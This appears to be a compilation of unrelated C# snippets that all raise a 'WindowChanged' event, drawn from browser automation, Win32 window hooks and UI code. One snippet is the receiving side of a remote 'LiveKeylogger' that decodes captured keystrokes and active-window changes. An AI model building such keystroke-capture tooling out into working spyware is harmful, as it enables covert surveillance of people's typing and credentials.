protected virtual void OpenNewWindowTab(string url) { bool shouldOpen = !IsOpened; if (!shouldOpen) { JavaScriptExecutor.ExecuteScript("window.open();"); DriverKeeper.GetDriver.SwitchTo().Window(DriverKeeper.GetDriver.WindowHandles.Last()); } else { DriverKeeper.GetDriver.SwitchTo().ParentFrame(); } if (!string.IsNullOrEmpty(url) || !string.IsNullOrWhiteSpace(url)) { DriverKeeper.GetDriver.Navigate().GoToUrl(url); } if (!shouldOpen) { WindowChanged?.Invoke(DriverKeeper.GetDriver.WindowHandles.Last()); } else { myWindow = new BrowserWindow(); BrowserOpened?.Invoke(); } }
public override void ResponseReceived(byte[] parameter) { switch ((LiveKeyloggerCommunication)parameter[0]) { case LiveKeyloggerCommunication.StringDown: StringDown?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1)); break; case LiveKeyloggerCommunication.SpecialKeyDown: KeyDown?.Invoke(this, new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) }) .Deserialize <KeyLogEntry>(parameter, 1)); break; case LiveKeyloggerCommunication.SpecialKeyUp: KeyUp?.Invoke(this, new Serializer(new[] { typeof(KeyLogEntry), typeof(SpecialKey), typeof(StandardKey) }) .Deserialize <KeyLogEntry>(parameter, 1)); break; case LiveKeyloggerCommunication.WindowChanged: WindowChanged?.Invoke(this, Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1)); break; default: throw new ArgumentOutOfRangeException(); } }
private void OnWindowChanged(IntPtr window) { if (window != IntPtr.Zero && activeWindow != window) { logger.Debug($"Window has changed from {activeWindow} to {window}."); activeWindow = window; WindowChanged?.Invoke(window); } }
public void SwitchToWindow(string windowHandle) { if (IsOpened) { if (!OpenedWindows.Contains(windowHandle)) { throw new ArgumentException($"Can`t find window with handle = {windowHandle}"); } DriverKeeper.GetDriver.SwitchTo().Window(windowHandle); WindowChanged?.Invoke(windowHandle); } }
public void CloseWindow(string windowHandle) { if (!IsOpened) { return; } if (!OpenedWindows.Contains(windowHandle)) { throw new ArgumentException($"Can`t find window with handle = {windowHandle}"); } if (OpenedWindows.Count == 1) { Quit(); return; } string currentHandle = DriverKeeper.GetDriver.CurrentWindowHandle; bool windowChanged = false; if (currentHandle != windowHandle) { DriverKeeper.GetDriver.SwitchTo().Window(windowHandle).Close(); DriverKeeper.GetDriver.SwitchTo().Window(currentHandle); } else { DriverKeeper.GetDriver.Close(); DriverKeeper.GetDriver.SwitchTo().Window(OpenedWindows.Last()); windowChanged = true; } WindowClosed?.Invoke(windowHandle); if (windowChanged) { WindowChanged?.Invoke(OpenedWindows.Last()); } }
private void WindowChangedAction(IntPtr hWinEventHook, int eventType, IntPtr hwnd, int idObject, int idChild, int dwEventThread, int dwmsEventTime) { WindowChanged?.Invoke(this, hwnd); }
protected virtual void OnWindowChanged() { WindowChangedEventArgs args = new WindowChangedEventArgs(); WindowChanged?.Invoke(this, args); }
public override void MovedToWindow() => WindowChanged?.Invoke(this, EventArgs.Empty);
/// <summary> /// the general subscriber for all windows events. /// each objects publishes an event with the same delegate. they all sbscribed here. /// if the window title or the process have changed - than invoke the rest of the events in the middle man and so on. /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void Manager_WindowChanged(object sender, WindowChangedEventArgs e) { WindowChanged?.Invoke(sender, e); }
protected virtual void InvokeWindowChanged(IntPtr windowHandle) { WindowChanged?.Invoke(this, new WindowHandleEventArgs(windowHandle)); }